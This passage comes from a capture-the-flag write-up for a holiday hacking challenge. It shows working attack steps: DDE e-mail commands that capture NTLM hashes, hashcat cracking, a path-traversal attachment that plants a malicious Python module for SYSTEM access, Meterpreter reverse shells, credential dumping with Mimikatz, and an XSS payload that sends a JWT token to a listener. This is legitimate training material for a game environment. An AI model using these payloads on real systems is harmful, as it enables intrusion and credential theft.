{'result': 'Message <f67b9d00-b263-2fdf-f3d1-2d679bbca9f4@northpolechristmastown.com> sent: 250 2.0.0 Ok: queued as 28EF1C356D', 'bool': True}
Using 1.2.3.4 as external IP
Listening on port 44665
Starting server on port 8888, use <Ctrl-C> to stop
Serving request 1 of 1...
/foo-1.0.tar.gz foo-1
35.185.57.190 - - [10/Jan/2018 03:14:47] "GET /foo-1.0.tar.gz HTTP/1.1" 200 -

And sure enough, we see a new session in Meterpreter:

msf exploit(handler) >
[*] Sending stage (42231 bytes) to 35.185.57.190
[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 35.185.57.190:52319) at 2018-01-10 03:15:51 +0000

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : hhc17-smb-server
OS              : Windows 2016 (Build 14393)
Architecture    : x64
System Language : en_US
Meterpreter     : python/windows

Getting Alabaster's Password

Being able to use Meterpreter is nice, but it sure would be cool if we could Remote Desktop, or see if Alabaster's password is in use elsewhere. We'll use Metasploit's SMB Authentication Capture module.

Try to avoid running Metasploit as root. In this case, we'll need to bind to a privileged port (445), but we can use iptables to redirect our traffic instead: sudo iptables -A PREROUTING -t nat -p tcp --dport 445 -j REDIRECT --to-port 3445

msf exploit(handler) > use auxiliary/server/capture/smb
msf auxiliary(smb) > info

       Name: Authentication Capture: SMB
     Module: auxiliary/server/capture/smb
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <x@hdm.io>

Available actions:
  Name     Description
  ----     -----------
  Sniffer

Basic options:
  Name        Current Setting   Required  Description
  ----        ---------------   --------  -----------
  CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel format
  CHALLENGE   1122334455667788  yes       The 8 byte server challenge
  JOHNPWFILE                    no        The prefix to the local filename to store the hashes in John format
  SRVHOST     0.0.0.0           yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT     445              yes       The local port to listen on.

Description:
  This module provides a SMB service that can be used to capture the
  challenge-response password hashes of SMB client systems. Responses
  sent by this service have by default the configurable challenge
  string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy
  cracking using Cain & Abel, L0phtcrack or John the ripper (with
  jumbo patch). To exploit this, the target system must try to
  authenticate to this module. One way to force an SMB authentication
  attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page
  or email message. When the victim views the web page or email, their
  system will automatically connect to the server specified in the UNC
  share (the IP address of the system running this module) and attempt
  to authenticate. Another option is using
  auxiliary/spoof/{nbns,llmnr} to respond to queries for names the
  victim is already looking for.

msf auxiliary(smb) > set SRVPORT 3445
SRVPORT => 3445
msf auxiliary(smb) > set JOHNPWFILE alabaster_snowball.john
JOHNPWFILE => alabaster_snowball.john
msf auxiliary(smb) > run
[*] Auxiliary module running as background job 3.

Now, we'll send the following command via e-mail:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k dir \\\\1.2.3.4\\a"

And sure enough, we get the following hashes:

[*] SMB Captured - 2018-12-20 17:08:24 +0000
NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190
USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:314d4bd798cac0c5fa2bb107ba248cc6
NT_CLIENT_CHALLENGE:0101000000000000d1b912a0358ad30143592f0cabfa891000000000020000000000000000000000
[*] SMB Captured - 2018-12-20 17:08:24 +0000
NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190
USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:aaa7328ccd721a5e96bfb188eb4ecbdd
NT_CLIENT_CHALLENGE:010100000000000001431ca0358ad301c89b21fb5e4c160d00000000020000000000000000000000
[*] SMB Captured - 2018-12-20 17:08:24 +0000
NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190
USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:71570491da3f413ce830788429820789
NT_CLIENT_CHALLENGE:010100000000000024042ba0358ad301a28a0bc07ea8214300000000020000000000000000000000

We now have the following file:

alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:3d0a58908a34215103b43a000b5807ab:0101000000000000f0a52fe4358ad3018486290b6477913300000000020000000000000000000000
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:5c63d79712f174de38ee30de2136b53e:0101000000000000e4e554e4358ad301fee549fa52c9b5ef00000000020000000000000000000000
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:de4559d983096a0a895484a61834283f:0101000000000000fb6a68e4358ad301645b79e4a5ed58c300000000020000000000000000000000

We'll use hashcat to crack this:

hashcat64.bin -m 5600 -a 0 alabaster_snowball.john.netntlmv2 wordlist.txt -O -w 4
...
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:3d0a58908a3...:Carried_mass_it_reader1
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:5c63d79712f...:Carried_mass_it_reader1
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:de4559d9830...:Carried_mass_it_reader1
Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
...

Armed with a password, we can remote desktop:

alabaster_rdp.png

Figure 28: Logging in to EMI as Alabaster via RDP

Woot! We're hand-waving some of this for now, as there will be a longer discussion about [[#passphrases][how we cracked passwords].

Next up – Privilege Escalation!

Unfortunately, our commands only run as Alabaster, who is just a regular user on the EMI system. We can do better than that.

Once we got command execution on this system, we started looking to see what was running. It was obvious that Office was not installed, and we started to question whether Alabaster even used this system, or if it was all a big charade.

We found that the system was running a service, called WindowsGrabber which would download new e-mails, try to parse out their DDE payloads, and execute them. It did this via C:\Program Files\WindowsGrabber\alabaster_snowball.py. That file also had credentials for the EWA system:

srverAddress = '10.142.0.5'
#srverAddress = '35.185.115.185'
user = 'alabaster.snowball@northpolechristmastown.com'
passw = 'power instrument gasoline film'

(As an aside, this code snippet also confirmed our theory about the systems moving from the public IPs we found during the Recon stage, to private ones).

This service was running as the alabaster_snowball user that we could already run commands as, so it wasn't a target for privilege elevation.

…and then, on December 23rd, all of that changed. The setup was changed, so now two services were running: WindowsGrabber was now running as LocalSystem, a very privileged account on Windows, and agrabber was running as Alabaster. The Python script was no longer readable by Alabaster, but it was modified so that instead of directly running the commands, it would write them to a file, and then the lesser-privileged agrabber service would run them from that file.

Unfortunately, there was a vulnerability in alabaster_snowball.py. It turns out that there are two ways to send the file to Alabaster: we can either attach it via the EWA webmail interface, which uploads a copy to mail.northpolechristmastown.com and inserts a link in the e-mail, OR we can simply attach it to the e-mail. In the case of the latter, the script does the following:

def save_attachment(self, msg):
    """
    Given a message, save its attachments to the specified
    download folder (default is /tmp)

    return: file path to attachment
    """
    download_folder = tempfile.mkdtemp()
    att_path = False
    for part in msg.walk():
        if part.get_content_maintype() == 'multipart':
            continue
        if part.get('Content-Disposition') is None:
            continue

        filename = part.get_filename()
        att_path = os.path.join(download_folder, filename)

        if not os.path.isfile(att_path):
            fp = open(att_path, 'wb')
            fp.write(part.get_payload(decode=True))
            fp.close()
    return att_path

The issue here is the line:

att_path = os.path.join(download_folder, filename)

The filename is controlled by us, as it comes from the e-mail message itself. By prefixing our filename with ../../../.. we can write anywhere on the system, as the LocalSystem account.

With unrestricted write access, how can we turn that into code execution? We could use a number of techniques, such as DLL hijacking, but many are made more difficult by the fact that we can't read files with our privileged access, only write to them.

Once again, we turned to Python. We targetted the alabaster_snowball.py script itself, with Python module injection. An import command in alabaster_snowball.py, such as:

import glob

will cause Python to search for glob.py in the current directory, and then in some system-wide directories. If we can write a malicious C:\Program Files\WindowsGrabber\glob.py, the next time the service restarts, our code will run as LocalSystem.

These files can break the alabaster_snowball.py script. Because they're being written as privileged, the regular Alabaster account cannot modify or delete them. Take great care in what you send!

Our file ends up looking like this:

import sys, imp, os
def get_mod(modname):
    fd, path, desc = imp.find_module(modname, sys.path[::-1])
    return imp.load_module("orig_" + modname, fd, path, desc)

locals().update(vars(get_mod(__name__)))

try:
    if not os.path.isfile("C:/Windows/Temp/have_run"):
        os.system('nssm install zGrabber C:\\Users\\ALABAS~1\\AppData\\Local\\Temp\\2\\4445.exe')
        os.system('nssm set zGrabber AppExit Default Restart')
        open("C:/Windows/Temp/have_run", 'a').close()
    os.system('nssm start zGrabber')
except:
    print("Could not run")

The top half loads the actual glob module, and makes it available to anything that imported our malicious glob module. The bottom half creates a new service, which will run a file that we uploaded, 4445.exe. This service uses the Non-Sucking Service Manager (nssm) that manages the other Grabber services, and will be installed as a LocalSystem service as well. Finally, we start our service, and ignore any exceptions in case we made a mistake.

Getting this file right was a little nerve-wracking, and required a great deal of testing. The vulnerability we found will only allow you to write new files, and because the files are written as the LocalSystem account, there was no way to modify or delete them once written if this did not work.

Now, we craft an e-mail, which has our base64-encoded glob.py as an attachment, and we give the attachment a filename that will put it in the right place:

HELO l2s
MAIL FROM:<wunorse.openslae@northpolechristmastown.com>
RCPT TO:<alabaster.snowball@northpolechristmastown.com>
DATA
MIME-Version: 1.0
Subject: Test E-mail
From: wunorse.openslae@northpolechristmastown.com
To: alabaster.snowball@northpolechristmastown.com
Content-Type: multipart/mixed; boundary="089e082f74245acc5b05624d7433"

--089e082f74245acc5b05624d7433
Content-Type: multipart/alternative; boundary="089e082f74245acc5605624d7431"

--089e082f74245acc5605624d7431
Content-Type: text/plain; charset="UTF-8"

gingerbread cookie recipe


--089e082f74245acc5b05624d7433
Content-Type: text/x-python-script; charset="US-ASCII"; name="glob.py"
Content-Disposition: attachment; filename="../../../../../../../../../../../../Program Files/WindowsGrabber/glob.py"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_jc6xkfum1

aW1wb3J0IHN5cywgaW1wLCBvcwpkZWYgZ2V0X21vZChtb2RuYW1lKToKICAgIGZkLCBwYXRoLCBk
ZXNjID0gaW1wLmZpbmRfbW9kdWxlKG1vZG5hbWUsIHN5cy5wYXRoWzo6LTFdKQogICAgcmV0dXJu
IGltcC5sb2FkX21vZHVsZSgib3JpZ18iICsgbW9kbmFtZSwgZmQsIHBhdGgsIGRlc2MpCgpsb2Nh
bHMoKS51cGRhdGUodmFycyhnZXRfbW9kKF9fbmFtZV9fKSkpCgp0cnk6CiAgICBpZiBub3Qgb3Mu
cGF0aC5pc2ZpbGUoIkM6L1dpbmRvd3MvVGVtcC9oYXZlX3J1biIpOgogICAgICAgIG9zLnN5c3Rl
bSgnbnNzbSBpbnN0YWxsIHpHcmFiYmVyIEM6XFxVc2Vyc1xcQUxBQkFTfjFcXEFwcERhdGFcXExv
Y2FsXFxUZW1wXFwyXFw0NDQ1LmV4ZScpCiAgICAgICAgb3BlbigiQzovV2luZG93cy9UZW1wL2hh
dmVfcnVuIiwgJ2EnKS5jbG9zZSgpCiAgICBvcy5zeXN0ZW0oJ25zc20gc3RhcnQgekdyYWJiZXIn
KQpleGNlcHQ6CiAgICBwcmludCgiQ291bGQgbm90IHJ1biIpCg==

--089e082f74245acc5b05624d7433--
.

Now we just send that over netcat, and wait:

$ nc mail.northpolechristmastown.com 25
220 mail.northpolechristmastown.com ESMTP Postfix
HELO l2s
250 mail.northpolechristmastown.com
MAIL FROM:<wunorse.openslae@northpolechristmastown.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@northpolechristmastown.com>
550 5.7.1 <alabaster.snowball@northpolechristmastown.com>: Recipient address rejected: Message rejected due to: SPF fail - not authorized. 
Please see http://www.openspf.net/Why?s=mfrom;id=wunorse.openslae@northpolechristmastown.com;ip=10.142.0.3;r=alabaster.snowball@northpolechristmastown.com

Foiled! If we dig a little deeper however, and we use our nmap scan results, we'll find that there's another SMTP service listening on port 2525 which will allow us to send our e-mail:

220 mail.northpolechristmastown.com ESMTP Postfix
HELO l2s
250 mail.northpolechristmastown.com
MAIL FROM:<wunorse.openslae@northpolechristmastown.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@northpolechristmastown.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
MIME-Version: 1.0
Subject: Test E-mail
...
--089e082f74245acc5b05624d7433--
.
250 2.0.0 Ok: queued as 1755CC35D2

If we do a directory listing, we see that our plan worked:

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  7670  fil   2017-12-23 04:28:42 +0000  alabaster_snowball.py
100666/rw-rw-rw-  257   fil   2017-12-23 05:17:52 +0000  execute.ps1
100666/rw-rw-rw-  0     fil   2018-01-09 01:25:40 +0000  file.txt
100666/rw-rw-rw-  228   fil   2018-01-09 01:25:36 +0000  glob.py

Now we just need to launch Metasploit and wait for the service to restart…

$ msfconsole -r windows-meterpreter-stageless-reverse-tcp-4445-exe.rc


     .~+P``````-o+:.                                      -o+:.
.+oooyysyyssyyssyddh++os-`````                        ```````````````          `
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy
--.`                 .-.-...-////+++++++++++++++////////~~//////++++++++++++///
				`...............`              `...-/////...`


				  .::::::::::-.                     .::::::-
				.hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
				 :Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
				 .sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
				  -Nd`  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
				   -Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
    `oo/``-hd:  ``                 .sNd  :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
      .yNmMMh//+syysso-``````       -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
    .shMMMMN//dmNMMMMMMMMMMMMs`     `:```-o++++oooo+:/ooooo+:+o+++oooo++/
    `///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
	  /MMMMMMMMMMMMMMMMMMd.     `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
	  -hMMmssddd+:dMMmNMMh.     `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
	  .sMMmo.    -dMd--:mN/`           ||--X--||          ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
================================================================================
=====================+--------------------------------+=========================
=====================| Session one died of dysentery. |=========================
=====================+--------------------------------+=========================
================================================================================

		     Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

			Press SPACE BAR to continue



       =[ metasploit v4.16.14-dev-140955f                 ]
+ -- --=[ 1698 exploits - 969 auxiliary - 299 post        ]
+ -- --=[ 500 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc for ERB directives.
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> use exploit/multi/handler
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set PAYLOAD windows/meterpreter_reverse_tcp
PAYLOAD => windows/meterpreter_reverse_tcp
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set LHOST 1.2.3.4
LHOST => 1.2.3.4
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set LPORT 4445
LPORT => 4445
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set ExitOnSession false
ExitOnSession => false
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> run -j
[*] Exploit running as background job 0.
Meterpreter session 1 opened (1.2.3.4:4445 -> 35.185.57.190:49672) at 2018-01-09 05:08:43 +0000
msf exploit(handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ HHC17-SMB-SERVE  1.2.3.4:4445 -> 35.185.57.190:49756 (10.142.0.8)

And now, we've managed to elevate our credentials. There are a few "post-exploitation" modules for Meterpreter, which will use our session. For instance, let's dump the hashes on the system:

msf exploit(handler) > set -g SESSION 1
SESSION => 1
msf exploit(handler) > use post/windows/gather/credentials/credential_collector
msf post(credential_collector) > run

[*] Running module against HHC17-SMB-SERVE
[+] Collecting hashes...
    Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: alabaster_snowball:aad3b435b51404eeaad3b435b51404ee:10e2fa00c44d10ca05d399f47ed13351
    Extracted: DefaultAccount:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: sysadmin:aad3b435b51404eeaad3b435b51404ee:27309e9a73764938860b4a1ed7c0392b
[+] Collecting tokens...
    HHC17-SMB-SERVE\alabaster_snowball
    IIS APPPOOL\DefaultAppPool
    NT AUTHORITY\IUSR
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    Window Manager\DWM-1
    NT AUTHORITY\ANONYMOUS LOGON
[*] Post module execution completed

We could try to crack some hashes, but there's an easier way. Let's check the LSA secrets:

msf post(credential_collector) > use post/windows/gather/lsa_secrets
msf post(lsa_secrets) > info

       Name: Windows Enumerate LSA Secrets
     Module: post/windows/gather/lsa_secrets
   Platform: Windows
       Arch:
       Rank: Normal

Provided by:
  Rob Bathurst <rob.bathurst@foundstone.com>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION  1                yes       The session to run this module on.

Description:
  This module will attempt to enumerate the LSA Secrets keys within
  the registry. The registry value used is:
  HKEY_LOCAL_MACHINE\Security\Policy\Secrets\. Thanks goes to Maurizio
  Agazzini and Mubix for decrypt code from cachedump.

msf post(lsa_secrets) > run

[*] Executing module against HHC17-SMB-SERVE
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[+] Key: DPAPI_SYSTEM
 Decrypted Value: ,2#B@:o~NY*#(1]`Vx

[+] Key: NL$KM
 Decrypted Value: @.tUb#=VQc_Y%&P1`gG;g1p0I)me& }Z/zXP`

[+] Key: _SC_agrabber
 Username: .\alabaster_snowball
 Decrypted Value: .Carried_mass_it_reader1

[*] Writing to loot...
[*] Data saved in: /home/holiday/.msf4/loot/20180109050031_default_10.142.0.8_registry.lsa.sec_967944.txt
[*] Post module execution completed

We can verify this with our hash, or via RDP: alabaster's password is Carried_mass_it_reader1, which matches what we got before.

At this point, the system is pretty well compromised. We were unable to crack the sysadmin user's hash, or pivot from this system to other systems using our privileged access.

We did, however, find some neat things in the Firefox browsing history of the sysadmin user:

'https://www.python.org/downloads/release/python-362/'
'https://www.google.com/search?q=non+sucky+servaice+manager&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'https://nssm.cc/release/nssm-2.24.zip'
'http://localhost/'
'https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx'
'http://localhost/test.aspx'
'https://stackoverflow.com/questions/4388066/the-page-you-are-requesting-cannot-be-served-because-of-the-extension-configura'
'https://www.google.com/search?q=how+to+use+aspnet_regiis&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'https://www.google.com/search?q=aspnet_regiis+%3A+The+term+%27aspnet_regiis%27+is+not+recognized+as+the+name+of+a+cmdlet&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'http://exescan.net/exes/a/aspnet_regiis-exe-file'
'https://www.google.com/search?q=how+to+configure+asp+to+run+on+iis&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'https://docs.microsoft.com/en-us/iis/application-frameworks/scenario-build-an-aspnet-website-on-iis/configuring-step-1-install-iis-and-asp-net-modules'
'https://www.google.com/search?q=enable+asp+on+windows+2016&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'https://docs.microsoft.com/en-us/biztalk/core/how-to-enable-asp-net-4-0-for-published-web-services'
'https://az764295.vo.msecnd.net/stable/dcee2202709a4f223185514b9275aa4229841aa7/VSCodeSetup-x64-1.18.0.exe'
'http://127.0.0.1/'
'http://127.0.0.1/evil.aspx'
'http://localhost/cmd.aspx'
'http://localhost/jerry.aspx'
'http://localhost/ok.txt'

Update – Cracking sysadmin's Password!

After doing a bit more digging around on this after the submission deadline had passed, we were able to crack sysadmin's password, thanks to Mimikatz.

Once we had our Meterpreter shell, running as the system user, we could upload Mimikatz, and have it dump some credentials:

meterpreter > cd %temp%                                                                                                                                                                                                                                                                            │···············································
meterpreter > upload mimikatz.exe                                                                                                                                                                                                                                                                  │···············································
[*] uploading  : mimikatz.exe -> mimikatz.exe                                                                                                                                                                                                                                                      │···············································
[*] uploaded   : mimikatz.exe -> mimikatz.exe                                                                                                                                                                                                                                                      │···············································
meterpreter > shell                                                                                                                                                                                                                                                                                │···············································
Process 852 created.                                                                                                                                                                                                                                                                               │···············································
Channel 2 created.                                                                                                                                                                                                                                                                                 │···············································
Microsoft Windows [Version 10.0.14393]                                                                                                                                                                                                                                                             │···············································
(c) 2016 Microsoft Corporation. All rights reserved.                                                                                                                                                                                                                                               │···············································
																																				   │···············································
C:\Windows\TEMP>mimikatz                                                                                                                                                                                                                                                                           │···············································
mimikatz                                                                                                                                                                                                                                                                                           │···············································
																																				   │···············································
  .#####.   mimikatz 2.1.1 (x64) built on Nov  6 2017 03:34:10                                                                                                                                                                                                                                     │···············································
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                                                                                                                                                                                                                                                        │···············································
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )                                                                                                                                                                                                                           │···············································
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz                                                                                                                                                                                                                                             │···············································
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )                                                                                                                                                                                                                          │···············································
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/                                                                                                                                                                                                                          │···············································
																																				   │···············································
mimikatz # vault::cred /patch                                                                                                                                                                                                                                                                      │···············································
TargetName : Domain:batch=TaskScheduler:Task:{B7934FDF-0D61-4B73-89D2-85301C3C3261} / <NULL>                                                                                                                                                                                                       │···············································
UserName   : HHC17-SMB-SERVE\sysadmin                                                                                                                                                                                                                                                              │···············································
Comment    : <NULL>                                                                                                                                                                                                                                                                                │···············································
Type       : 2 - domain_password                                                                                                                                                                                                                                                                   │···············································
Persist    : 2 - local_machine                                                                                                                                                                                                                                                                     │···············································
Flags      : 00004004                                                                                                                                                                                                                                                                              │···············································
Credential : #9tsTizMj#TZgTQ                                                                                                                                                                                                                                                                       │···············································
Attributes : 0                                                                                                                                                                                                                                                                                     │···············································
																																				   │···············································
TargetName : WindowsLive:target=virtualapp/didlogical / <NULL>                                                                                                                                                                                                                                     │···············································
UserName   : 02corgxfsbee                                                                                                                                                                                                                                                                          │···············································
Comment    : PersistedCredential                                                                                                                                                                                                                                                                   │···············································
Type       : 1 - generic                                                                                                                                                                                                                                                                           │···············································
Persist    : 2 - local_machine                                                                                                                                                                                                                                                                     │···············································
Flags      : 00000000                                                                                                                                                                                                                                                                              │···············································
Credential :                                                                                                                                                                                                                                                                                       │···············································
Attributes : 32

Mimikatz was able to pull out sysadmin's decrypted password, from a scheduled task. We can use Hashcat to verify this password:

echo "#9tsTizMj#TZgTQ" | hashcat -a 0 -m 1000 -w 3 emi.hashes
hashcat (v4.0.1) starting...

...

Starting attack in stdin mode...

27309e9a73764938860b4a1ed7c0392b:#9tsTizMj#TZgTQ

However, we still couldn't use this password to move laterally to other systems. But with this credential, we were able to crack all the passwords we found, except for the password all the reindeer LDAP accounts were set to.

EDB: eLfDAP Injection

Question

Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com/. Who wrote the letter?

For hints on solving this challenge, please locate Wunorse Openslae in the North Pole and Beyond.

Background Information

We can pull up the website in a web browser, and we see a login page.

edb_login.png

Figure 29: Elf Database Login

We can try some of the passwords we've already recovered, without success. However, at the bottom of the page, there's a support link, which pops up this form:

edb_login_support.png

Figure 30: Elf Database Login Support

Wunorse Openslae provides us the following:

Many people don't know this, but most of us elves have multiple jobs here in the North Pole. In addition to working in Santa's workshop, I also work as a help desk support associate for the North Pole Elf Database site. I answer password reset requests, mostly from other elves.

One time, I got a weird email with a JavaScript alert and my account got hacked. Fortunately, Alabaster was able to add some filtering on the system to prevent that from happening again. I sure hope he tested his changes against the common evasion techniques discussed on the XSS filter evasion cheat sheet.

It's never a good idea to come up with your own encryption scheme with cookies. Alabaster told me he uses JWT tokens because they are super secure as long as you use a long and complex key. Otherwise, they could be cracked and recreated using any old framework like pyjwt to forge a key.

The interface we use lets us query our directory database with all the employee information. Per Santa's request, Alabaster restricted the search results to just the elves and reindeer. Hopefully, he secured that too. I found an article recently talking about injection against similar databases.

This blog post is explicitly called out:

Understanding and Exploiting Web-based LDAP https://pen-testing.sans.org/blog/2017/11/27/understanding-and-exploiting-web-based-ldap

Goal

The hints lay out a pretty clear path: we can use XSS to send a malicious request to one of the elves or reindeer, and then steal their JWT credential and access the directory.

Approach

  • Cross-Site Scripting

    We begin by focusing on the support form. XSS was heavily hinted at, so let's try a simple payload:

    alert_test.png

    Figure 31: Simple XSS Test

    Then we see this pop up:

    alert_hacker.png

    Figure 32: Busted on XSS

    Busted! Poking around in the source code a bit, we find this snippet in http://edb.northpolechristmastown.com/js/custom.js:

    if (help_message.match(/[sS][cC][rR][iI][pP][tT]/g) == null) {
        $.post( "/service", { uid: help_uid, email: help_email, message: help_message }).done(function( result ) {
            Materialize.toast('Submitting... Please Wait.', 4000);
            if (result.bool) {
                Materialize.toast(result.message, 4000);
                setTimeout(function(){
                    window.location.href = result.link;
                }, 1000);
            } else {
                Materialize.toast(result.message, 4000);
            }
        }).fail(function(error) {
            Materialize.toast('Error: '+error.status + " " + error.statusText, 4000);
        })
    } else {
        Materialize.toast('Alert, Hacker!', 4000);
    

    Reviewing the OWASP Cheat Sheet mentioned in the blog post, we can find several options that don't need a <script> tag. For example:

    <IMG SRC=/ onerror="document.location='http://sans.edu'"></IMG>
    

    Upon submitting the form, we can view our support request:

    xss_success.png

    Figure 33: Our Support Request with a Broken Image

    Once the image doesn't load, we're redirected to the SANS site. Great!

    First, we tried to steal the cookie, but in reviewing the code at http://edb.northpolechristmastown.com/, we noticed that we needed to steal the token out of local storage:

    token = localStorage.getItem("np-auth");
    

    A classic XSS attack is to leak the token to a server we control. We'll modify our malicious image to:

    <IMG SRC=/ onerror="document.location='http://10.142.0.11:4444/?cookie='+localStorage.getItem('np-auth');">
    </IMG>
    

    We'll start a netcat listener on the l2s system:

    $ nc -v -l -p 4444
    

    Next, we'll submit the support form with our malicious message:

    http -v --form --proxy=http:socks5://@localhost:32080  POST http://edb.northpolechristmastown.com/service \
    uid=alabaster.snowball \
    email=alabaster.snowball@northpolechristmastown.com \
    message="<IMG SRC=/ onerror=\"document.location='http://10.142.0.11:4444/?cookie='+localStorage.getItem('np-auth');\"></img>"
    

    A few seconds later, back on l2s:

    GET /?cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Referer: http://127.0.0.1/reset_request?ticket=L78G1-F4X9X-T4FIR-9C4R4
    User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
    Connection: Keep-Alive
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,*
    Host: 10.142.0.11:4444
    
  • JWT Token

    With the success of the XSS attack, we now know the token:

